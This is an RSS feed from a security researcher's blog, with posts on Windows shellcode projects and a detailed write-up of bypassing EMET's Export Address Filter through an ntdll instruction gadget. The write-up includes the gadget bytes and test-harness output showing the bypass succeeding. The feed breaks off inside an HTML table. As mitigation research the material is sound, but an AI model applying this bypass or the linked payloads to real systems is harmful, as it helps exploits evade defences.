<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Skypher &#187; Assembler</title>
	<atom:link href="http://skypher.com/index.php/category/languages/assembler/feed/" rel="self" type="application/rss+xml" />
	<link>http://skypher.com</link>
	<description>The blog for absolutely nothing!</description>
	<lastBuildDate>Sat, 19 Nov 2011 22:09:02 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>w32 speaking shellcode &#8211; Pwn in style</title>
		<link>http://skypher.com/index.php/2010/12/31/w32-speaking-shellcode-pwn-in-style/</link>
		<comments>http://skypher.com/index.php/2010/12/31/w32-speaking-shellcode-pwn-in-style/#comments</comments>
		<pubDate>Fri, 31 Dec 2010 13:26:36 +0000</pubDate>
		<dc:creator>SkyLined</dc:creator>
				<category><![CDATA[Assembler]]></category>
		<category><![CDATA[Programming Languages]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Shellcode]]></category>

		<guid isPermaLink="false">http://skypher.com/?p=659</guid>
		<description><![CDATA[<br />
<b>Warning</b>:  preg_split() [<a href='function.preg-split'>function.preg-split</a>]: Compilation failed: lookbehind assertion is not fixed length at offset 14 in <b>/home/c3682jgn/domains/skypher.com/public_html/wp-content/themes/braille/options/plugins.php</b> on line <b>77</b><br />
<br />
<b>Warning</b>:  Invalid argument supplied for foreach() in <b>/home/c3682jgn/domains/skypher.com/public_html/wp-content/themes/braille/options/plugins.php</b> on line <b>78</b><br />
]]></description>
			<content:encoded><![CDATA[<p>Over the past few weeks I created a <a href="http://code.google.com/p/w32-speaking-shellcode/">new shellcode</a> that uses the <a href="http://msdn.microsoft.com/en-us/library/ee705648.aspx">Microsoft Speech API</a> to have the target computer say &#8220;You got pwned!&#8221; over the speakers. Needless to say, the practical applications are myriad, from impressing women in bars to expediting world peace. However, I expect that the most common application will be people impressing their friends with their 1337 hacker skills.</p>
<p>The size of the shellcode is 242 bytes (add 5 for stack alignment and 39 for EAT bypass). It has all the usual bells and whistles: OS/SP independent, null-free, optional stack alignment and EAT bypass and no register requires a specific value for it to run correctly. </p>
<p>Get the code <a href="http://code.google.com/p/w32-speaking-shellcode/downloads/detail?name=w32-speaking-shellcode.zip">here</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://skypher.com/index.php/2010/12/31/w32-speaking-shellcode-pwn-in-style/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Bypassing Export address table Address Filter (EAF)</title>
		<link>http://skypher.com/index.php/2010/11/17/bypassing-eaf/</link>
		<comments>http://skypher.com/index.php/2010/11/17/bypassing-eaf/#comments</comments>
		<pubDate>Wed, 17 Nov 2010 20:46:48 +0000</pubDate>
		<dc:creator>SkyLined</dc:creator>
				<category><![CDATA[Assembler]]></category>
		<category><![CDATA[PoC]]></category>
		<category><![CDATA[Programming Languages]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Shellcode]]></category>

		<guid isPermaLink="false">http://skypher.com/?p=605</guid>
		<description><![CDATA[<br />
<b>Warning</b>:  preg_split() [<a href='function.preg-split'>function.preg-split</a>]: Compilation failed: lookbehind assertion is not fixed length at offset 14 in <b>/home/c3682jgn/domains/skypher.com/public_html/wp-content/themes/braille/options/plugins.php</b> on line <b>77</b><br />
<br />
<b>Warning</b>:  Invalid argument supplied for foreach() in <b>/home/c3682jgn/domains/skypher.com/public_html/wp-content/themes/braille/options/plugins.php</b> on line <b>78</b><br />
]]></description>
			<content:encoded><![CDATA[<p>(An unfinished version of this blog post was accidentally published last week. In case you got a hold of a copy: I&#8217;ve made only small modifications, so no need to re-read the entire post. However, I did not released the source of my PoC shellcode earlier, so you may want to <a href="https://code.google.com/p/w32-msgbox-shellcode/source/diff?path=/trunk/w32-msgbox-shellcode.asm&#038;format=side&#038;r=4">check if out</a>).</p>
<p>In early September this year Microsoft released their <a href="http://www.microsoft.com/downloads/en/details.aspx?FamilyID=c6f0a6ee-05ac-4eb6-acd0-362559fd2f04">Enhanced Mitigation Experience Toolkit v2.0</a> (EMET), which includes a new &#8220;pseudo&#8221;-mitigation called Export address table Address Filter (EAF). I decided to have a look at how this mitigation attempts to prevent exploits from succeeding and how an attacker might bypass it. For people that suffer from <a href="http://encyclopediadramatica.com/TL;DR">tl;dr</a> syndrome, I&#8217;ve put my conclusion up front:</p>
<p><strong>It is my conclusion that EAF should be effective at preventing most current shellcode from executing and therefore a useful mitigation. However, it is relatively simple to bypass. Proof of concept code to do this can be found <a href="https://code.google.com/p/w32-msgbox-shellcode/">here</a>. I expect that if EAF becomes a common mitigation, attackers will update their shellcodes to bypass it. I cannot think of any effective way in which EAF can be updated that would not be relatively simple to bypass as well.</strong></p>
<p>EAF works by setting a <a href="http://en.wikipedia.org/wiki/Breakpoint#Hardware_implementation">hardware breakpoint</a> on the <a href="http://www.microsoft.com/whdc/system/platform/firmware/PECOFF.mspx">export address tables</a> of the ntdll.dll and kernel32.dll modules in a process. When the breakpoint is triggered, EAF determines if the code that is trying to access the export address table is valid code for that process or malicious code injected into the process through an exploit. Most exploits will at some point inject and run shellcode into the target process. One of the first thing most shellcodes do is determine where certain functions are loaded in memory. This is commonly and easiest done by going through the list of loaded modules and reading their export address tables. When shellcode reads the export address tables of ntdll.dll and/or kernel32.dll, EAF detects the shellcode and terminates the process, preventing the exploit from running successfully.</p>
<p>I tested EAF with<a href="https://code.google.com/p/w32-msgbox-shellcode/">one of my shellcodes</a> that shows a message in a popup window when it runs successfully. <a href="http://code.google.com/hosting/search?q=SkyLined+shellcode+win32">All my shellcodes</a> scan the export address tables of loaded modules to find certain functions. This is a common technique used by almost all shellcodes that EAF is designed to detect. So, enabling EAF should prevent my shellcode, and most others, from working.</p>
<p>I use <a href="http://code.google.com/p/testival/">testival</a> to test my shellcode because it makes things easy to automate and I can copy+paste the output into this blog to show you what is going on. When my shellcode is run, it shows a popup dialog box and then triggers an int3 debugger breakpoint. Here&#8217;s the output of w32-testival.exe for a successful run of my shellcode:<br />
<code><br />
C:\Dev\Shellcode\w32-msgbox-shellcode&gt;w32-testival [$]=ascii:w32-msgbox-shellcode.bin eip=$ --verbose --eh --eh<br />
Allocating 0x1000 bytes of memory... ok. (address: 0x00030000)<br />
Setting data and registers:<br />
  [0x00030000]              = 8C bytes of data.<br />
  eax                       = 0xDEADBEEF (default)<br />
  ecx                       = 0xDEADBEEF (default)<br />
  edx                       = 0xDEADBEEF (default)<br />
  ebx                       = 0xDEADBEEF (default)<br />
  esp                       = ??? (unmodified)<br />
  ebp                       = 0xDEADBEEF (default)<br />
  esi                       = 0xDEADBEEF (default)<br />
  edi                       = 0xDEADBEEF (default)<br />
  eip                       = 0x00030000 ($)<br />
Registering Structured Exception Handler (SEH)...ok.<br />
Registering Vectored Exception Handler (VEH)...ok.<br />
Executing shellcode by jumping to 0x00030000...First chance debugger breakpoint exception at 0x0003008B.<br />
Second chance debugger breakpoint exception at 0x0003008B.<br />
&nbsp;<br />
C:\Dev\Shellcode\w32-msgbox-shellcode&gt;<br />
&nbsp;<br />
</code><br />
Of course, you cannot see the popup dialog box in this output, but you can see that the int3 debugger breakpoint at the end of the shellcode was executed. This means that it ran successfully.</p>
<p>After enabling EAF I tried executing the shellcode again and found that it still worked. So either EAF was not working or I was doing something wrong. I contacted my friends at MS who developed the tool and asked them to help me find out what was going on. They explained that in order to install the EAF mitigation, EMET needs to create a new thread in the process first, which means the mitigation is not enabled immediately on startup. To make sure that the mitigation is installed, you need to wait a bit before running your shellcode. So, I added a new switch to testival that allows it to wait a given number of milliseconds before executing the shellcode. Using this new feature, I tried again and this time EAF successfully blocked my shellcode, as you can see here:</p>
<p><code><br />
C:\Dev\Shellcode\w32-msgbox-shellcode&gt;w32-testival [$]=ascii:w32-msgbox-shellcode.bin eip=$ --verbose --eh --eh --delay=1000<br />
Allocating 0x1000 bytes of memory... ok. (address: 0x00030000)<br />
Setting data and registers:<br />
  [0x00030000]              = 8C bytes of data.<br />
  eax                       = 0xDEADBEEF (default)<br />
  ecx                       = 0xDEADBEEF (default)<br />
  edx                       = 0xDEADBEEF (default)<br />
  ebx                       = 0xDEADBEEF (default)<br />
  esp                       = ??? (unmodified)<br />
  ebp                       = 0xDEADBEEF (default)<br />
  esi                       = 0xDEADBEEF (default)<br />
  edi                       = 0xDEADBEEF (default)<br />
  eip                       = 0x00030000 ($)<br />
Registering Structured Exception Handler (SEH)...ok.<br />
Registering Vectored Exception Handler (VEH)...ok.<br />
Waiting for 1000 milliseconds...ok.<br />
Executing shellcode by jumping to 0x00030000...First chance single step exception at 0x00030054: A trace trap or other single-instruction mechanism signaled that one instruction has been executed.<br />
Second chance exception 0xC0000409 at 0x00030054.<br />
&nbsp;<br />
C:\Dev\Shellcode\w32-msgbox-shellcode&gt;<br />
&nbsp;<br />
</code><br />
This time the process is terminated early by a single step exception. This is because the EAF mitigation has detect that the shellcode accessed the export address table and decided to terminate the application rather than allow the shellcode to continue executing. This shows that EAF should be able to detect and protect against exploits that use most common shellcode.</p>
<p>I decided not to reverse EAF in order to find out how it works, but rather try to guess how it works and guess how it might by bypassed and try if it works. I assumed that EAF works by checking the location of the instruction that is accessing the export address table: if it is located inside the code segment of a loaded module, EAF assumes it is valid code and allowed it to continue. Otherwise, EAF assumes it is malicious code and terminates the process. If my hypothesis is correct, it might be possible to have the shellcode use a sequence of instructions inside the code segment of a loaded module that can be used to read memory. Because in this case, EAF will assumes that valid code is attempting to read the export address table rather than my shellcode and allow the code to continue.</p>
<p>To test this, I created a modified version of my shellcode that works like this:</p>
<ul>
<li>First, the shellcode finds out where ntdll.dll is loaded in memory as usual.</li>
<li>Second, it finds out where the code segment for ntdll.dll is located.</li>
<li>Third, it scans the code segment for a specific instruction sequence that can be used to read arbitrary memory.</li>
<li>Finally, it calls this instruction sequence to read the export address table, rather than read it directly.</li>
</ul>
<p>This is effectively the same as doing a ret-into-libc attack, something which EAF is not designed to block and this should therefore be able to bypass it. It turns out that the RtlGetCurrentPeb function has a useful instruction sequence. This sequence is static across Windows versions and SPs and exactly 4 bytes long, which means it is easy to write code to find it:<br />
<code><br />
 ntdll32!RtlGetCurrentPeb:<br />
     64a118000000    mov     eax,dword ptr fs:[00000018h]<br />
     8b4030          mov     eax,dword ptr [eax+30h]<br />
     c3              ret<br />
&nbsp;<br />
</code><br />
By setting EAX to the memory address you want to read (minus 0&#215;30) and calling the second instruction, you can read arbitrary memory into EAX.</p>
<p>The first time I tested my code, it was blocked by EAF while scanning for the instruction sequence in the code segment. It turns out that the export address table is located at the start of the code segment of ntdll.dll, so my scan for the instruction sequence was accessing it and triggering EAF.  Luckily, the RtlGetCurrentPeb function is not located anywhere near the start of the code segment in any version of ntdll.dll, so it was relatively easy to avoid this by skipping over the first 0&#215;1000 bytes of the code segment.</p>
<p>Here is the result for my modified shellcode, which is only 30 bytes larger than the original:<br />
<code><br />
C:\Dev\Shellcode\w32-msgbox-shellcode&gt;w32-testival [$]=ascii:w32-msgbox-shellcode-eaf.bin eip=$ --verbose --eh --eh --delay=1000<br />
Allocating 0x1000 bytes of memory... ok. (address: 0x00030000)<br />
Setting data and registers:<br />
  [0x00030000]              = AB bytes of data.<br />
  eax                       = 0xDEADBEEF (default)<br />
  ecx                       = 0xDEADBEEF (default)<br />
  edx                       = 0xDEADBEEF (default)<br />
  ebx                       = 0xDEADBEEF (default)<br />
  esp                       = ??? (unmodified)<br />
  ebp                       = 0xDEADBEEF (default)<br />
  esi                       = 0xDEADBEEF (default)<br />
  edi                       = 0xDEADBEEF (default)<br />
  eip                       = 0x00030000 ($)<br />
Registering Structured Exception Handler (SEH)...ok.<br />
Registering Vectored Exception Handler (VEH)...ok.<br />
Waiting for 1000 milliseconds...ok.<br />
Executing shellcode by jumping to 0x00030000...First chance single step exception at 0x76FBA045: A trace trap or other single-instruction mechanism signaled that one instruction has been executed.<br />
First chance single step exception at 0x76FAFFCE: A trace trap or other single-instruction mechanism signaled that one instruction has been executed.<br />
First chance single step exception at 0x76FAFFCE: A trace trap or other single-instruction mechanism signaled that one instruction has been executed.<br />
First chance single step exception at 0x76FAFFCE: A trace trap or other single-instruction mechanism signaled that one instruction has been executed.<br />
&lt;snip&gt;(Many more single step exceptions)&lt;snip&gt;<br />
First chance single step exception at 0x76FAFFCE: A trace trap or other single-instruction mechanism signaled that one instruction has been executed.<br />
First chance debugger breakpoint exception at 0x000300AA.<br />
Second chance debugger breakpoint exception at 0x000300AA.<br />
&nbsp;<br />
C:\Dev\Shellcode\w32-msgbox-shellcode&gt;<br />
&nbsp;<br />
</code><br />
Every time the export address table is accessed, the hardware breakpoint is triggered and EAF checks to see if shellcode is attempting to access it. This is why you are seeing so may first change single step exceptions. However, because I am using the instruction sequence in ntdll.dll to access the address table, EAF allows the code to continue. The shellcode runs successfully and the process terminates when the shellcode executes the int3 debugger breakpoint as before.</p>
<p>Have a look at <a href="https://code.google.com/p/w32-msgbox-shellcode/source/diff?path=/trunk/w32-msgbox-shellcode.asm&#038;format=side&#038;r=4">the changes</a> I made to my shellcode to make this work. They are relatively minor and it should be possible to apply this technique to any shellcode, which reduces the usefulness of EAF in the long run.</p>
<p>I thought about possibilities to prevent or detect this bypass.  Unfortunately, I could not think of anything that would be effective. Here are some of my ideas and why I think they won&#8217;t work:<br />
- EAF could check for this specific instruction sequence. However, shellcode could scan for other sequences in ntdll.dll (or even in other modules) that can be used to achieve the same.<br />
- EAF could &#8220;walk the stack&#8221; and check that all return addresses are valid. However, the shellcode could construct a ret-into-libc stack with only valid return addresses, where the first call reads the export address table and the next call modifies the return address for the third return address to point to the shellcode again.<br />
- EAF could set additional hardware breakpoints on structures that can be used to find the locations of modules, in an attempt to prevent the shellcode from finding an instruction sequence that it can use to read memory. However, there are a large number of ways in which the location of modules can be found and there are a <a href="http://en.wikipedia.org/wiki/X86_debug_register">limited number</a> of hardware breakpoints. There are not enough breakpoints available to protect all of locations that contain sensitive data.</p>
<p>I welcome your thoughts and ideas on this subject.</p>
]]></content:encoded>
			<wfw:commentRss>http://skypher.com/index.php/2010/11/17/bypassing-eaf/feed/</wfw:commentRss>
		<slash:comments>12</slash:comments>
		</item>
		<item>
		<title>w32 MessageBox shellcode</title>
		<link>http://skypher.com/index.php/2010/09/06/w32-messagebox-shellcode/</link>
		<comments>http://skypher.com/index.php/2010/09/06/w32-messagebox-shellcode/#comments</comments>
		<pubDate>Mon, 06 Sep 2010 14:22:59 +0000</pubDate>
		<dc:creator>SkyLined</dc:creator>
				<category><![CDATA[Assembler]]></category>
		<category><![CDATA[Programming Languages]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Shellcode]]></category>

		<guid isPermaLink="false">http://skypher.com/?p=566</guid>
		<description><![CDATA[<br />
<b>Warning</b>:  preg_split() [<a href='function.preg-split'>function.preg-split</a>]: Compilation failed: lookbehind assertion is not fixed length at offset 14 in <b>/home/c3682jgn/domains/skypher.com/public_html/wp-content/themes/braille/options/plugins.php</b> on line <b>77</b><br />
<br />
<b>Warning</b>:  Invalid argument supplied for foreach() in <b>/home/c3682jgn/domains/skypher.com/public_html/wp-content/themes/braille/options/plugins.php</b> on line <b>78</b><br />
]]></description>
			<content:encoded><![CDATA[<p>I&#8217;ve created and published various very small versions of often used shellcodes for 32-bit versions of Windows, such as a <a href="http://code.google.com/p/w32-bind-ngs-shellcode/">bindshell</a>, <a href="http://code.google.com/p/w32-dl-loadlib-shellcode/">download &#038; LoadLibrary shellcode</a> and <a href="http://code.google.com/p/w32-exec-calc-shellcode/">calc.exe executing shellcode</a>. One thing that was missing from the list until today is a <a href="http://code.google.com/p/w32-msgbox-shellcode/">MessageBox shellcode</a>.</p>
<p>I hacked the code together in 30 minutes based on my calc.exe shellcode, so it can probably be optimized a bit more. I haven&#8217;t tested it thoroughly, but it works on Windows 7 for me.</p>
]]></content:encoded>
			<wfw:commentRss>http://skypher.com/index.php/2010/09/06/w32-messagebox-shellcode/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Download and LoadLibrary shellcode released</title>
		<link>http://skypher.com/index.php/2010/01/11/download-and-loadlibrary-shellcode-released/</link>
		<comments>http://skypher.com/index.php/2010/01/11/download-and-loadlibrary-shellcode-released/#comments</comments>
		<pubDate>Mon, 11 Jan 2010 10:53:36 +0000</pubDate>
		<dc:creator>SkyLined</dc:creator>
				<category><![CDATA[Assembler]]></category>
		<category><![CDATA[Programming Languages]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Shellcode]]></category>

		<guid isPermaLink="false">http://skypher.com/?p=366</guid>
		<description><![CDATA[<br />
<b>Warning</b>:  preg_split() [<a href='function.preg-split'>function.preg-split</a>]: Compilation failed: lookbehind assertion is not fixed length at offset 14 in <b>/home/c3682jgn/domains/skypher.com/public_html/wp-content/themes/braille/options/plugins.php</b> on line <b>77</b><br />
<br />
<b>Warning</b>:  Invalid argument supplied for foreach() in <b>/home/c3682jgn/domains/skypher.com/public_html/wp-content/themes/braille/options/plugins.php</b> on line <b>78</b><br />
]]></description>
			<content:encoded><![CDATA[<p>Everyone and their dog seems to want to use download and execute shellcode in their exploits. Even though this has some drawbacks:</p>
<ul>
<li>You need to create an .exe file on the system, which will very likely draw unwanted attention.</li>
<li>You cannot use an API that downloads your file to a temporary location, because that will likely not retain the .exe extention.</li>
<li>You need to make an assumption about where a safe place is to write your .exe file, which means you can guess wrong and the code fails.</li>
<li>You need to store the string &#8216;.exe&#8217; in the download &#038; execute shellcode, which means this is 4 bytes larger.</li>
<li>You need to spawn an extra process, which will very likely draw attention.</li>
<li>You leave cleaning up the exploited process to the download &#038; execute shellcode, which means this needs to be larger.</li>
</ul>
<p>To get around these problems, I created download and LoadLibrary shellcode: a shellcode that will download a DLL file to a temporary file and load it into the exploited process using LoadLibrary. The benefits of this approach are:</p>
<ul>
<li>Smaller code.</li>
<li>You can use the <TT>URLDownloadToCacheFileA</TT> API function in urlmon that downloads and saves your DLL to a temporary file, meaning you do not need to provide a location.</li>
<li>No need to create an .exe file on the system: the extention of a DLL is irrelevant.</li>
<li>No need to spawn an extra process.</li>
<li>You can clean up the exploited process from the code in the DLL instead of the shellcode.</li>
</ul>
<p>The size of the final shellcode depends on the length of the URL for your DLL. For most recent version of the code it is 138 bytes + the length of the URL. This is a pretty decent reduction from the average download and execute shellcodes of 200+ bytes (excluding the URL) that I found around the interwebs.</p>
<p>Project homepage:<br />
<a href="http://code.google.com/p/w32-dl-loadlib-shellcode/">http://code.google.com/p/w32-dl-loadlib-shellcode/</a></p>
]]></content:encoded>
			<wfw:commentRss>http://skypher.com/index.php/2010/01/11/download-and-loadlibrary-shellcode-released/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Testival released</title>
		<link>http://skypher.com/index.php/2010/01/11/testival-released/</link>
		<comments>http://skypher.com/index.php/2010/01/11/testival-released/#comments</comments>
		<pubDate>Mon, 11 Jan 2010 09:48:40 +0000</pubDate>
		<dc:creator>SkyLined</dc:creator>
				<category><![CDATA[Assembler]]></category>
		<category><![CDATA[C/C++]]></category>
		<category><![CDATA[Programming Languages]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Shellcode]]></category>
		<category><![CDATA[Tools]]></category>

		<guid isPermaLink="false">http://skypher.com/?p=364</guid>
		<description><![CDATA[<br />
<b>Warning</b>:  preg_split() [<a href='function.preg-split'>function.preg-split</a>]: Compilation failed: lookbehind assertion is not fixed length at offset 14 in <b>/home/c3682jgn/domains/skypher.com/public_html/wp-content/themes/braille/options/plugins.php</b> on line <b>77</b><br />
<br />
<b>Warning</b>:  Invalid argument supplied for foreach() in <b>/home/c3682jgn/domains/skypher.com/public_html/wp-content/themes/braille/options/plugins.php</b> on line <b>78</b><br />
]]></description>
			<content:encoded><![CDATA[<p>During shellcode development, it makes sense to have a program that can easily load your shellcode at a controlable location, allows you to set registers and memory to certain values and execute the shellcode by setting <TT>EIP</TT> through a <TT>RET</TT> or <TT>CALL</TT> instruction.</p>
<p>The <a href="http://code.google.com/p/testival/">Testival</a> project aims to do all those things and more: it also allows you to test ret-into-libc attacks, set the type of memory allocation you want (<TT>RWE</TT> flags, etc&#8230;), report exceptions in your code to stdout as well as load DLLs to test shellcode in <TT>DllMain</TT>.</p>
<p>Testival is used by <a href="http://code.google.com/p/alpha3/">ALPHA3</a> for automatically testing if all the en-/decoders work.</p>
<p>Testival requires <a href="http://code.google.com/p/skybuild/">SkyBuild</a> to automatically build all files.</p>
]]></content:encoded>
			<wfw:commentRss>http://skypher.com/index.php/2010/01/11/testival-released/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>ALPHA3 released</title>
		<link>http://skypher.com/index.php/2010/01/10/alpha3-released/</link>
		<comments>http://skypher.com/index.php/2010/01/10/alpha3-released/#comments</comments>
		<pubDate>Sun, 10 Jan 2010 13:33:53 +0000</pubDate>
		<dc:creator>SkyLined</dc:creator>
				<category><![CDATA[Assembler]]></category>
		<category><![CDATA[PoC]]></category>
		<category><![CDATA[Programming Languages]]></category>
		<category><![CDATA[Python]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Tools]]></category>

		<guid isPermaLink="false">http://skypher.com/?p=307</guid>
		<description><![CDATA[<br />
<b>Warning</b>:  preg_split() [<a href='function.preg-split'>function.preg-split</a>]: Compilation failed: lookbehind assertion is not fixed length at offset 14 in <b>/home/c3682jgn/domains/skypher.com/public_html/wp-content/themes/braille/options/plugins.php</b> on line <b>77</b><br />
<br />
<b>Warning</b>:  Invalid argument supplied for foreach() in <b>/home/c3682jgn/domains/skypher.com/public_html/wp-content/themes/braille/options/plugins.php</b> on line <b>78</b><br />
]]></description>
			<content:encoded><![CDATA[<p>I realized that if I would wait until I had fully documented everything in ALPHA3, it would probably never get released. So, without further ado, documentation or explanations:</p>
<ul>
<li><a href="http://code.google.com/p/alpha3/">Project page</a></li>
<li><a href="http://alpha3.googlecode.com/svn/trunk/alpha3-read-only">SVN repository</a> (read-only)</li>
<li><a href="http://alpha3.googlecode.com/files/ALPHA3.zip">Download</a></li>
</ul>
<p>It has been developed and tested on Windows, but it should not be to hard to get it to run on other platforms. If you are having difficulty on other platforms and manage to create patches to fix this, please let me know and/or become a commiter to the project!</p>
<p>PS. My appologees for my lack of 1337 Python coding skills to whomever gets to port it to Metasploit &#8211; I did this project in Python while I was learning the language <img src='http://skypher.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://skypher.com/index.php/2010/01/10/alpha3-released/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Countslide alphanumeric GetPC</title>
		<link>http://skypher.com/index.php/2010/01/02/countslide-alphanumeric-getpc/</link>
		<comments>http://skypher.com/index.php/2010/01/02/countslide-alphanumeric-getpc/#comments</comments>
		<pubDate>Sat, 02 Jan 2010 20:39:24 +0000</pubDate>
		<dc:creator>SkyLined</dc:creator>
				<category><![CDATA[Assembler]]></category>
		<category><![CDATA[Programming Languages]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Shellcode]]></category>

		<guid isPermaLink="false">http://skypher.com/?p=347</guid>
		<description><![CDATA[<br />
<b>Warning</b>:  preg_split() [<a href='function.preg-split'>function.preg-split</a>]: Compilation failed: lookbehind assertion is not fixed length at offset 14 in <b>/home/c3682jgn/domains/skypher.com/public_html/wp-content/themes/braille/options/plugins.php</b> on line <b>77</b><br />
<br />
<b>Warning</b>:  Invalid argument supplied for foreach() in <b>/home/c3682jgn/domains/skypher.com/public_html/wp-content/themes/braille/options/plugins.php</b> on line <b>78</b><br />
]]></description>
			<content:encoded><![CDATA[<p>One limitation of most alphanumeric shellcode decoders, including those in <strong><a href="http://skypher.com/wiki/index.php/Hacking/Shellcode/Alphanumeric/ALPHA2">ALPHA2</a></strong> and the soon-to-be-released <strong><A href="http://skypher.com/wiki/index.php/Hacking/Shellcode/Alphanumeric/ALPHA3">ALPHA3</a></strong> is that they need to know where they are located in memory in order to decode themselves and run correctly. This makes using a <em>nopslide</em> hard in most circumstances, because you mostly only need a <em>nopslide</em> if you do not know exactly where your shellcode is in memory to begin with.</p>
<p>Countslide GetPC is a new technique that I developed to allow the use of <em>nopslides</em> and determine exactly where your shellcode is if you can roughly predict where it will be located in memory.</p>
<p>Given a range of addresses <em>A<sub>min</sub></em> &#8211; <em>A<sub>max</sub></em> in which you can predict your shellcode to start, we will calculate the average address <strong>A<sub>avg</sub></strong> and the maximum absolute deviation <strong>D<sub>max</sub></strong> like so: <CODE><br />
                            <strong>A<sub>avg</sub></strong> == <strong>(A<sub>min</sub> + A<sub>max</sub>) / 2</strong><br />
                            <strong>D<sub>max</sub></strong> == <strong>(A<sub>max</sub> &#8211; A<sub>min</sub>) / 2</strong><br />
&nbsp;<br />
</CODE><br />
Using a <em>nopslide</em> of length <strong>D<sub>max</sub> * 2</strong> starting at an address in this range and a return address of <strong>A<sub>avg</sub> + D<sub>max</sub></strong> will always cause the <em>nopslide</em> to get hit and thus the code at the end of the nopslide to get executed:<br />
<CODE><TABLE FRAME=VOID CELLSPACING=0 COLS=17 RULES=NONE BORDER=0> <COLGROUP><COL WIDTH=18><COL WIDTH=66><COL WIDTH=15><COL WIDTH=24><COL WIDTH=25><COL WIDTH=25><COL WIDTH=25><COL WIDTH=25><COL WIDTH=25><COL WIDTH=25><COL WIDTH=25><COL WIDTH=25><COL WIDTH=25><COL WIDTH=25><COL WIDTH=15><COL WIDTH=87><COL WIDTH=18></COLGROUP> <TBODY> <TR> <TD STYLE="border-top: 1px solid #000000; border-left: 1px solid #000000" WIDTH=18 HEIGHT=17 ALIGN=LEFT><BR></TD> <TD STYLE="border-top: 1px solid #000000" WIDTH=66 ALIGN=LEFT><BR></TD> <TD STYLE="border-top: 1px solid #000000" WIDTH=15 ALIGN=LEFT><BR></TD> <TD STYLE="border-top: 1px solid #000000" WIDTH=24 ALIGN=LEFT><BR></TD> <TD STYLE="border-top: 1px solid #000000" WIDTH=25 ALIGN=LEFT><BR></TD> <TD STYLE="border-top: 1px solid #000000" WIDTH=25 ALIGN=LEFT><BR></TD> <TD STYLE="border-top: 1px solid #000000" WIDTH=25 ALIGN=LEFT><BR></TD> <TD STYLE="border-top: 1px solid #000000" WIDTH=25 ALIGN=LEFT><BR></TD> <TD STYLE="border-top: 1px solid #000000" WIDTH=25 ALIGN=LEFT><BR></TD> <TD STYLE="border-top: 1px solid #000000" WIDTH=25 ALIGN=LEFT><BR></TD> <TD STYLE="border-top: 1px solid #000000" WIDTH=25 ALIGN=LEFT><BR></TD> <TD STYLE="border-top: 1px solid #000000" WIDTH=25 ALIGN=LEFT><BR></TD> <TD STYLE="border-top: 1px solid #000000" WIDTH=25 ALIGN=LEFT><BR></TD> <TD STYLE="border-top: 1px solid #000000" WIDTH=25 ALIGN=LEFT><BR></TD> <TD STYLE="border-top: 1px solid #000000" WIDTH=15 ALIGN=LEFT><BR></TD> <TD STYLE="border-top: 1px solid #000000" WIDTH=87 ALIGN=LEFT><BR></TD> <TD STYLE="border-top: 1px solid #000000; border-right: 1px solid #000000" WIDTH=18 ALIGN=LEFT><FONT FACE="Courier New"><BR></FONT></TD> </TR> <TR> <TD STYLE="border-left: 1px solid #000000" HEIGHT=17 ALIGN=LEFT><BR></TD> <TD ALIGN=LEFT><BR></TD> <TD ALIGN=LEFT><BR></TD> <TD ALIGN=LEFT><BR></TD> <TD ALIGN=LEFT><FONT FACE="Courier New"><BR></FONT></TD> <TD STYLE="border-top: 1px solid #000000; border-bottom: 1px solid #000000; border-left: 1px solid #000000; border-right: 1px solid #000000" COLSPAN=2 ALIGN=CENTER><B><FONT FACE="Courier New">A<sub>avg</sub></FONT></B></TD> <TD ALIGN=LEFT><FONT FACE="Courier New"><BR></FONT></TD> <TD ALIGN=LEFT><FONT FACE="Courier New"><BR></FONT></TD> <TD ALIGN=LEFT><FONT FACE="Courier New"><BR></FONT></TD> <TD ALIGN=LEFT><FONT FACE="Courier New"><BR></FONT></TD> <TD ALIGN=LEFT><FONT FACE="Courier New"><BR></FONT></TD> <TD ALIGN=LEFT><FONT FACE="Courier New"><BR></FONT></TD> <TD ALIGN=LEFT><FONT FACE="Courier New"><BR></FONT></TD> <TD ALIGN=LEFT><BR></TD> <TD ALIGN=LEFT><BR></TD> <TD STYLE="border-right: 1px solid #000000" ALIGN=LEFT><FONT FACE="Courier New"><BR></FONT></TD> </TR> <TR> <TD STYLE="border-left: 1px solid #000000" HEIGHT=17 ALIGN=LEFT><BR></TD> <TD ALIGN=CENTER VALIGN=BOTTOM SDNUM="1043;0;0,###############"><FONT FACE="Courier New"><BR></FONT></TD> <TD ALIGN=LEFT><FONT FACE="Courier New"><BR></FONT></TD> <TD STYLE="border-top: 1px solid #000000; border-bottom: 1px solid #000000; border-left: 1px solid #000000; border-right: 1px solid #000000" COLSPAN=2 ALIGN=CENTER><B><FONT FACE="Courier New">A<sub>avg</sub> &#8211; D<sub>max</sub></FONT></B></TD> <TD STYLE="border-right: 1px solid #000000" ALIGN=LEFT><BR></TD> <TD STYLE="border-left: 1px solid #000000" ALIGN=LEFT><FONT FACE="Courier New"><BR></FONT></TD> <TD 